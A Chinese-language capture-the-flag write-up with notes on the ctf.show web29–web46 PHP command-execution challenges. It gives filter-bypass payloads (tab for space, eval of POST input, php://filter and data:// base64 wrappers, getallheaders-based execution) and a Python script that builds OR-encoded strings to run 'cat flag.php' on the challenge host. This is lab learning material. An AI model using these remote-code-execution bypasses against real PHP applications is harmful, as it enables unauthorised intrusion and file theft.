大佬文章
L i n u x \rm Linux Linux 下空格绕过
web29
-
通配符:
*
:匹配任意多个字符?
:匹配任意一个字符[]
:匹配某个范围的字符( [ a d ] [ad] [ad] 表示 a − d a-d a−d 的字符){a,b}
:匹配 a a a 或者 b b b
web30
- echo `cat flag`:表示先运行 cat flag,然后再把结果输出
web31
-
%09(tab)
绕过空格 -
命令拼接:
c=eval($_POST[a]);
,然后POST
传入一个变量a
即可 -
无参数 r c e \rm rce rce
web32
-
过滤分号,用
?>
代替 -
过滤括号,使用
include
函数,其不需要括号传参(例如 include a.php)
因此 ?c=include%09$_POST[a]?>
,之后 post
传入一个文件即可
文件会被注释掉(显示不出来),所以考虑伪协议读文件
a=php://filter/read=convert.base64-encode/resource=flag.php
web37
- 使用
php://input
协议,之后post
传入需要的php
代码即可
web38
-
data
伪协议读文件c=data://text/plain;base64,PD9waHAgc3lzdGVtKCdjYXQgZionKTs/Pg==
( b a s e 64 \rm base64 base64 是system("cat flag");
)
web39
- 同web38
web40
-
无参数命令执行
getallheaders()
将http
头中的信息放到一个数组里面修改
http
头中的某些不重要的内容为system("cat flag")
,使用语句eval(array_rand(array_flip(getallheaders())));
,多刷新几次即可做到无参数命令执行
web41
-
无数字字母 r c e \rm rce rce
一般实现方法是自增,取反,异或,或
这题用的是或运算
# coding=gbk import re import requests use = [] def get_and(aim, use):ans1 = ""ans2 = ""for i in range(len(aim)):ok = Falsefor j in range(len(use)):for k in range(j,len(use)):if (ord(use[j]) | ord(use[k])) == ord(aim[i]):ans1 = ans1 + use[j]ans2 = ans2 + use[k]ok = Trueif ok: breakif ok: break ans = ""for i in range(len(ans1)): ans += chr(ord(ans1[i]) | ord(ans2[i])) print(ans)return "(\""+ans1+"\"|\""+ans2+"\")"if __name__ == '__main__':match_str = "/[0-9]|[a-z]|\^|\+|\~|\$|\[|\]|\{|\}|\&|\-"url = "http://e5280b73-c2cb-4f3f-9309-68319256efdf.challenge.ctf.show/"for i in range(256):c = chr(i)tmp = re.match(match_str, c, re.I)if tmp == None:use.append(c)func = "system"argu = "cat flag.php"data = {"c":get_and(func,use)+get_and(argu,use)}print(data)r = requests.post(url = url, data = data)print(r.text)
web42
system($c." >/dev/null 2>&1");
黑洞代码
-
cat flag && ls
:只会让后面的查询没有 -
ls #
:#
是shell
脚本的注释
web46
flag
被过滤,可以换成f''lag
未完待续